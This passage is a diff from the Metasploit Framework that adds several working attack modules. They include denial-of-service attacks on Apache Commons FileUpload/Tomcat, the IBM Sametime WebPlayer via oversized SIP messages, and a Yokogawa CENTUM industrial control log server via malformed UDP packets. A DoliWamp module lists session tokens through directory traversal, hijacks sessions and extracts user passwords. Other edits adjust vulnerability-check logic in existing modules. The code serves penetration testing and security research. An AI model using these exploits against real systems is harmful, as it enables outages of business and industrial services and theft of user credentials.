-68,22 +67,26 @@ class Metasploit3 < Msf::Auxiliary is_modicon = check_banner() disconnect else - print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping" - return false + vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping" + return Exploit::CheckCode::Unknown end + if is_modicon - print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint" + vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint" + return Exploit::CheckCode::Detected else - print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch" + vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch" end - return is_modicon + + return Exploit::CheckCode::Safe end def run - if check() - if setup_ftp_connection() - grab() - end + if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected + print_status("Service detected.") + grab() if setup_ftp_connection() + else + grab() if setup_ftp_connection() end end diff --git a/modules/auxiliary/analyze/jtr_crack_fast.rb b/modules/auxiliary/analyze/jtr_crack_fast.rb index 25349f1991..0c281b27b3 100644 --- a/modules/auxiliary/analyze/jtr_crack_fast.rb +++ b/modules/auxiliary/analyze/jtr_crack_fast.rb @@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'John the Ripper Password Cracker (Fast Mode)', - 'Description' => %Q{ + 'Name' => 'John the Ripper Password Cracker (Fast Mode)', + 'Description' => %Q{ This module uses John the Ripper to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To @@ -21,8 +21,8 @@ class Metasploit3 < Msf::Auxiliary used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules. }, - 'Author' => 'hdm', - 'License' => MSF_LICENSE # JtR itself is GPLv2, but this wrapper is MSF (BSD) + 'Author' => 'hdm', + 'License' => MSF_LICENSE # JtR itself is GPLv2, but this wrapper is MSF (BSD) ) end @@ -68,6 +68,9 @@ class Metasploit3 < Msf::Auxiliary cracked_lm = {} added = [] + john_crack(hashlist.path, :wordlist => datastore['Wordlist'], :format => 'lm') + john_crack(hashlist.path, :wordlist => datastore['Wordlist'], :format => 'nt') + # Crack this in LANMAN format using wordlist mode with tweaked rules john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'lm') diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb new file mode 100644 index 0000000000..e0fd2f09e2 --- /dev/null +++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Commons FileUpload and Apache Tomcat DoS', + 'Description' => %q{ + This module triggers an infinite loop in Apache Commons FileUpload 1.0 + through 1.3 via a specially crafted Content-Type header. + Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle + mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50 + and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also + uses Commons FileUpload as part of the Manager application. + }, + 'Author' => + [ + 'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public. + 'ribeirux' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-0050'], + ['URL', 'http://markmail.org/message/kpfl7ax4el2owb3o'], + ['URL', 'http://tomcat.apache.org/security-8.html'], + ['URL', 'http://tomcat.apache.org/security-7.html'] + ], + 'DisclosureDate' => 'Feb 6 2014' + )) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, "The request URI", '/']), + OptInt.new('RLIMIT', [ true, "Number of requests to send",50]) + ], self.class) + end + + def run + boundary = "0"*4092 + opts = { + 'method' => "POST", + 'uri' => normalize_uri(target_uri.to_s), + 'ctype' => "multipart/form-data; boundary=#{boundary}", + 'data' => "#{boundary}00000", + 'headers' => { + 'Accept' => '*/*' + } + } + + # XXX: There is rarely, if ever, a need for a 'for' loop in Ruby + # This should be rewritten with 1.upto() or Enumerable#each or + # something + for x in 1..datastore['RLIMIT'] + print_status("Sending request #{x} to #{peer}") + begin + c = connect + r = c.request_cgi(opts) + c.send_request(r) + # Don't wait for a response + rescue ::Rex::ConnectionError => exception + print_error("#{peer} - Unable to connect: '#{exception.message}'") + return + ensure + disconnect(c) if c + end + end + end +end + diff --git a/modules/auxiliary/dos/http/nodejs_pipelining.rb b/modules/auxiliary/dos/http/nodejs_pipelining.rb index 02587acb33..44b6f5c0c1 100644 --- a/modules/auxiliary/dos/http/nodejs_pipelining.rb +++ b/modules/auxiliary/dos/http/nodejs_pipelining.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def check # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/ # check if we are < 0.10.17 by seeing if a malformed HTTP request is accepted - status = Exploit::CheckCode::Unknown + status = Exploit::CheckCode::Safe connect sock.put(http_request("GEM")) begin @@ -56,6 +56,8 @@ class Metasploit3 < Msf::Auxiliary rescue EOFError # checking against >= 0.10.17 raises EOFError because there is no # response to GEM requests + vprint_error("Failed to determine the vulnerable state due to an EOFError (no response)") + return Msf::Exploit::CheckCode::Unknown ensure disconnect end diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb new file mode 100644 index 0000000000..32c6c0ef6f --- /dev/null +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -0,0 +1,235 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Lotus Sametime WebPlayer DoS', + 'Description' => %q{ + This module exploits a known flaw in the IBM Lotus Sametime WebPlayer + version 8.5.2.1392 (and prior) to cause a denial of service condition + against specific users. For this module to function the target user + must be actively logged into the IBM Lotus Sametime server and have + the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a + browser extension. The user should have the WebPlayer plug-in active + (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. + }, + 'Author' => + [ + 'Chris John Riley', # Vulnerability discovery + 'kicks4kittens' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['DOS', + { + 'Description' => 'Cause a Denial Of Service condition against a connected user' + } + ], + ['CHECK', + { + 'Description' => 'Checking if targeted user is online' + } + ] + ], + 'DefaultAction' => 'DOS', + 'References' => + [ + [ 'CVE', '2013-3986' ], + [ 'OSVDB', '99552' ], + [ 'BID', '63611'], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] + ], + 'DisclosureDate' => 'Nov 07 2013')) + + register_options( + [ + Opt::RPORT(5060), + OptAddress.new('RHOST', [true, 'The Sametime Media Server']), + OptString.new('SIPURI', [ + true, + 'The SIP URI of the user to be targeted', + '@' + ]), + OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) + ], self.class) + + end + + def setup + # cleanup SIP target to ensure it's in the correct format to use + @sipuri = datastore['SIPURI'] + if @sipuri[0, 4].downcase == "sip:" + # remove sip: if present in string + @sipuri = @sipuri[4, @sipuri.length] + end + if @sipuri[0, 12].downcase == "webavclient-" + # remove WebAVClient- if present in string + @sipuri = @sipuri[12, @sipuri.length] + end + end + + def run + # inform user of action currently selected + print_status("#{peer} - Action: #{action.name} selected") + + # CHECK action + if action.name == 'CHECK' + print_status("#{peer} - Checking if user #{@sipuri} is online") + if check_user + print_good("#{peer} - User online") + else + print_status("#{peer} - User offline") + end + return + end + + # DOS action + print_status("#{peer} - Checking if user #{@sipuri} is online") + check_result = check_user + + if check_result == false + print_error("#{peer} - User is already offline... Exiting...") + return + end + + # only proceed if action is DOS the target user is + # online or the CHECKUSER option has been disabled + print_status("#{peer} - Targeting user: #{@sipuri}...") + dos_result = dos_user + + if dos_result + print_good("#{peer} - User is offline, DoS was successful") + else + print_error("#{peer} - User is still online") + end + + end + + def peer + "#{rhost}:#{rport}" + end + + def dos_user + length = 12000 # enough to overflow the end of allocated memory + msg = create_message(length) + res = send_msg(msg) + + if res.nil? + vprint_good("#{peer} - User #{@sipuri} is no responding") + return true + elsif res =~ /430 Flow Failed/i + vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)") + vprint_good("#{peer} - User #{@sipuri} is no longer responding") + return true + elsif res =~ /404 Not Found/i + vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)") + vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session") + return true + elsif res =~ /200 OK/i + vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)") + vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer") + return false + else + vprint_status("#{peer} - Unexpected response") + return true + end + end + + # used to check the user is logged into Sametime and after DoS to check success + def check_user + length = Rex::Text.rand_text_numeric(2) # just enough to check response + msg = create_message(length) + res = send_msg(msg) + + # check response for current user status - common return codes + if res.nil? + vprint_error("#{peer} - No response") + return false + elsif res =~ /430 Flow Failed/i + vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)") + return false + elsif res =~ /404 Not Found/i + vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session") + return false + elsif res =~ /200 OK/i + vprint_good("#{peer} - User #{@sipuri} is online") + return true + else + vprint_error("#{peer} - Unknown server response") + return false + end + end + + def create_message(length) + # create SIP MESSAGE of specified length + vprint_status("#{peer} - Creating SIP MESSAGE packet #{length} bytes long") + + source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1) + source_host = Rex::Socket.source_address(datastore['RHOST']) + src = "#{source_host}:#{datastore['RPORT']}" + cseq = Rex::Text.rand_text_numeric(3) + message_text = Rex::Text.rand_text_alphanumeric(length.to_i) + branch = Rex::Text.rand_text_alphanumeric(7) + + # setup SIP message in the correct format expected by the server + data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" + data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" + data << "Max-Forwards: 80\r\n" + data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" + data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n" + data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n" + data << "CSeq: #{cseq} MESSAGE" + "\r\n" + data << "Content-Type: text/plain;charset=utf-8" + "\r\n" + data << "User-Agent: #{source_user}\r\n" + data << "Content-Length: #{message_text.length}" + "\r\n\r\n" + data << message_text + + return data + end + + def timing_get_once(s, length) + if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 + return s.get_once(length, datastore['TIMEOUT']) + else + return s.get_once(length) + end + end + + def send_msg(msg) + begin + s = connect + # send message and store response + s.put(msg + "\r\n\r\n") rescue nil + # read response + res = timing_get_once(s, 25) + if res == "\r\n" + # retry request + res = timing_get_once(s, 25) + end + return res + rescue ::Rex::ConnectionRefused + print_status("#{peer} - Unable to connect") + return nil + rescue ::Errno::ECONNRESET + print_status("#{peer} - DoS packet successful, host not responding.") + return nil + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("#{peer} - Couldn't connect") + return nil + ensure + # disconnect socket if still open + disconnect if s + end + end +end diff --git a/modules/auxiliary/dos/scada/yokogawa_logsvr.rb b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb new file mode 100644 index 0000000000..8f11b42279 --- /dev/null +++ b/modules/auxiliary/dos/scada/yokogawa_logsvr.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Udp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Yokogawa CENTUM CS 3000 BKCLogSvr.exe Heap Buffer Overflow', + 'Description' => %q{ + This module abuses a buffer overflow vulnerability to trigger a Denial of Service + of the BKCLogSvr component in the Yokogaca CENTUM CS 3000 product. The vulnerability + exists in the handling of malformed log packets, with an unexpected long level field. + The root cause of the vulnerability is a combination of usage of uninitialized memory + from the stack and a dangerous string copy. This module has been tested successfully + on Yokogawa CENTUM CS 3000 R3.08.50. + }, + 'Author' => + [ + 'juan vazquez', + 'Redsadic ' + ], + 'References' => + [ + [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ] + ], + 'DisclosureDate' => 'Mar 10 2014', + )) + + register_options( + [ + Opt::RPORT(52302), + OptInt.new('RLIMIT', [true, "Number of packets to send", 10]) + ], self.class) + end + + def run + if datastore['RLIMIT'] < 2 + print_error("Two consecutive packets are needed to trigger the DoS condition. Please increment RLIMIT.") + return + end + + # Crash due to read bad memory + test = [1024].pack("V") # packet length + test << "AAAA" # Unknown + test << "SOURCE\x00\x00" # Source + test << "\x00" * 8 # Padding + test << "B" * (1024 - test.length) # Level & Message coalesced + + connect_udp + + # Sending two consecutives packages is enough to + # trigger the overflow and cause the DoS. But if + # legit packets are processed by the server, between + # the two malformed packages, overflow won't happen. + # Unfortunately because of the usage of UDP and the + # absence of answer, there isn't a reliable way to + # check if the DoS condition has been triggered. + print_status("Sending #{datastore['RLIMIT']} packets...") + (1..datastore['RLIMIT']).each do |i| + vprint_status("Sending #{i}/#{datastore['RLIMIT']}...") + udp_sock.put(test) + end + + disconnect_udp + end + +end diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index bc37d89b7b..f08e3f9ed9 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -43,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(80), - OptBool.new('CHECK', [false, 'Only check for vulnerability', false]), OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/']) ], self.class) end @@ -116,6 +115,14 @@ class Metasploit3 < Msf::Auxiliary end def check + if check_cf + return Msf::Exploit::CheckCode::Vulnerable + end + + Msf::Exploit::CheckCode::Safe + end + + def check_cf vuln = false url = '/CFIDE/adminapi/customtags/l10n.cfm' res = send_request_cgi({ @@ -171,17 +178,11 @@ class Metasploit3 < Msf::Auxiliary return end - if(not check) + if(not check_cf) print_status("#{peer} can't be exploited (either files missing or permissions block access)") return end - if (datastore['CHECK'] ) - print_good("#{peer} is vulnerable and most likely exploitable") if check - return - end - - res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'), diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb new file mode 100644 index 0000000000..f53eef3a90 --- /dev/null +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info( + info, + 'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", + 'Description' => %q{ + This module will extract user credentials from DoliWamp - a WAMP + packaged installer distribution for Dolibarr ERP on Windows - versions + 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session + tokens in filenames in the 'tmp' directory. A directory traversal + vulnerability in 'jqueryFileTree.php' allows unauthenticated users + to retrieve session tokens by listing the contents of this directory. + Note: All tokens expire after 30 minutes of inactivity by default. + }, + 'License' => MSF_LICENSE, + 'Author' => 'Brendan Coles ', + 'References' => + [ + ['URL' => 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], + ['URL' => 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] + ], + 'DisclosureDate' => 'Jan 12 2014')) + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), + OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) + ], self.class) + end + + # + # Find session tokens + # + def get_session_tokens + tokens = nil + print_status("#{peer} - Finding session tokens...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri( + target_uri.path, + 'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'), + 'cookie' => @cookie, + 'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.code == 404 + print_error("#{peer} - Could not find 'jqueryFileTree.php'") + elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)sess_([a-z0-9]+) 'GET', + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie, + 'vars_get' => Hash[{ + 'action' => 'edit', + 'id' => "#{user_id}" + }.to_a.shuffle] + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /User card/ + record = [ + res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first, + res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first, + res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first + ] + unless record.empty? + print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})") + return record + end + else + print_warning("#{peer} - Could not retrieve user credentials") + end + end + + # + # Verify if session cookie is valid and return user's ID + # + def get_user_id + # print_debug("#{peer} - Trying to hijack session '#{@cookie}'") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie + }) + if !res + print_error("#{peer} - Connection failed") + elsif res.body =~ /